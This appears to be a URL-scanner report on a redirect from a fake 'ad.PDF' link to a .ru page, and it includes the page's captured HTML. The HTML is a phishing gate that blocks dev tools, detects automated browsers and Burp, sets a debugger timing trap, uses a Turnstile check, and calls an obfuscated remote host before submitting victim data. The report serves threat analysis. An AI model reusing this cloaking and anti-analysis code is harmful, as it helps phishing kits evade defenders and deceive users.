https://ldgd.nelivor.ru/NBJt0/

Submitted URL:
https://cpriestcleaning.co.uk/ad.PDFRedirected
Report Finished:

JavaScript Variables · 10 found

NameType
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
eQnZRWAzJRobject
$function
jQueryfunction
turnstileobject
CryptoJSobject
LcRUnRiQOgfunction
qJQWOBanoZfunction

Console log messages · 5 found

TypeCategoryLog
warningnetwork
URL
https://ldgd.nelivor.ru/NBJt0/
Text
A parser-blocking, cross site (i.e. different eTLD+1) script, https://code.jquery.com/jquery-3.6.0.min.js, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.
warningnetwork
URL
https://ldgd.nelivor.ru/NBJt0/
Text
A parser-blocking, cross site (i.e. different eTLD+1) script, https://code.jquery.com/jquery-3.6.0.min.js, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.
warningnetwork
URL
https://ldgd.nelivor.ru/NBJt0/
Text
A parser-blocking, cross site (i.e. different eTLD+1) script, https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.
warningnetwork
URL
https://ldgd.nelivor.ru/NBJt0/
Text
A parser-blocking, cross site (i.e. different eTLD+1) script, https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.
errornetwork
URL
https://ldgd.nelivor.ru/favicon.ico
Text
Failed to load resource: the server responded with a status of 404 ()

HTML

<!-- Success is the sum of small efforts, repeated day in and day out. --><html lang="en"><head>


    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
    <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>​</title>
    <style>
body {
  background-color: #fff;
  height: 100%;
  overflow: hidden;
}
#YutMfsCcNM h4{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2;}
#YutMfsCcNM h4{font-size:calc(1.3);}
@media (min-width:1200px){
#YutMfsCcNM h4{font-size:1.5rem;}
}
#YutMfsCcNM p{margin-top:0;margin-bottom:1rem;}
#YutMfsCcNM.captcha-container{position: relative;top: 105px;/*width: 100%;*/padding-right: var(--bs-gutter-x, .75rem);padding-left: var(--bs-gutter-x, .75rem);margin-right: auto;margin-left: auto;}
#YutMfsCcNM .text-center {text-align: center!important;}
@media (min-width:992px){
#YutMfsCcNM .col-lg-4{flex:0 0 auto;width:33.33333333%;}
}
#YutMfsCcNM .display-4 {font-size: 1.25rem!important;}
#YutMfsCcNM .mt-2 {margin-top: 0.5rem!important;}
#YutMfsCcNM .h4 {font-size: calc(.900rem + .3vw);}
#YutMfsCcNM .justify-content-center{justify-content:center!important;}
#YutMfsCcNM.mt-5{margin-top:3rem!important;}
#YutMfsCcNM .mt-4 {margin-top: 1rem!important;}
#YutMfsCcNM #GEiMpMfjxC {color: #6c757d;font-size:14px;margin-top: .5rem;}
    </style>
    <script>
    if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
        window.location = "about:blank";
}
document.addEventListener('keydown', function(event) {
    if (event.keyCode === 123) {
        event.preventDefault();
        return false;
    }

    if (
        (event.ctrlKey && event.keyCode === 85) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 73) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 67) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 74) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 75) ||
        (event.ctrlKey && event.keyCode === 72) ||
        (event.metaKey && event.altKey && event.keyCode === 73) ||
        (event.metaKey && event.altKey && event.keyCode === 67) ||
        (event.metaKey && event.keyCode === 85)
    ) {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
(function aggllClnNw() {
    let QArvhrBHZS = false;
    const IxeBxHVXhj = 100;
    setInterval(function() {
        const WBsFZnZwKx = performance.now();
        debugger;
        const JMysotzvqt = performance.now();
        if (JMysotzvqt - WBsFZnZwKx > IxeBxHVXhj && !QArvhrBHZS) {
            QArvhrBHZS = true;
            window.location.replace('https://teams.microsoft.com');
        }
    }, 1000);
})();
    </script>
</head>

<body style="font-family: arial, sans-serif;background-color: #fff;color: #000;padding: 20px;font-size: 18px;overscroll-behavior: contain;">
<div id="YutMfsCcNM" class="captcha-container">
<div id="RMcPXSzfAv" class="justify-content-center">
<div class="text-center">
<form id="qOEVVAdusE">
<div class="cf_turnstile" id="cf"><div><input type="hidden" name="cf-turnstile-response" id="cf-chl-widget-n5se6_response"></div></div>
<input type="hidden" id="sid" name="sid" value="Nz16O6jBQvhykmay49sdzh2vrLeY8E5JGwzFbFk9">
<input type="hidden" id="pagelink" name="pagelink" value="">
<input type="hidden" id="bltdip" name="bltdip" value="Unknown">
<input type="hidden" id="bltdref" name="bltdref" value="">
<input type="hidden" id="bltdua" name="bltdua" value="Unknown">
<input type="hidden" id="bltddata" name="bltddata" value="">
</form>
</div>
<div class="text-center" id="GEiMpMfjxC">
Verifying your browser to maintain a safe connection.
</div>

</div>
</div>

<script>
turnstile.render('#cf', {
    sitekey: '0x4AAAAAAA0Li2qDWEIIVlOU',
    'error-callback': LcRUnRiQOg,
    callback: qJQWOBanoZ,
});
function LcRUnRiQOg() {
    turnstile.reset();
}
function qJQWOBanoZ() {
    var xXfqMprchs = document.getElementById("qOEVVAdusE");
    xXfqMprchs.onsubmit = function (event) {
        event.preventDefault();
    };
    document.getElementById("pagelink").value = '7uCNpX';
    var NgVQUIbIdH = "../fj8N6cnlCxOsMQhnsx9wlUCaOLMUL9Kjbcuim";
    fetch('https://0oKneeZXJdax2T2ifoOoOx2q5WpYx9tGYq3TY9Qo304WpUFejDLH.uyofiykrxf.ru/97488522870421051861vMgjbFwhPTSZEJSTWAXFCVYPKMDCREJSGRJ', {
    method: "GET",
    }).then(response => {
    return response.text()
    }).then(text => {
    if(text == 0){
    fetch(NgVQUIbIdH, {
        method: "POST",
        body: new FormData(xXfqMprchs)
    }).then(response => {
        return response.json();
    }).then(data => {
        if(data['status'] == 'success'){
        location.reload();
        }
        if(data['status'] == 'error'){
        window.location.replace('https://teams.microsoft.com');
        }
    });
    }
    if(text != 0){
    window.location.replace('https://teams.microsoft.com');
    }
    })
    .catch(error => {
    window.location.replace('https://teams.microsoft.com');
    });
}
</script>





</body></html><!-- The secret of getting ahead is getting started. -->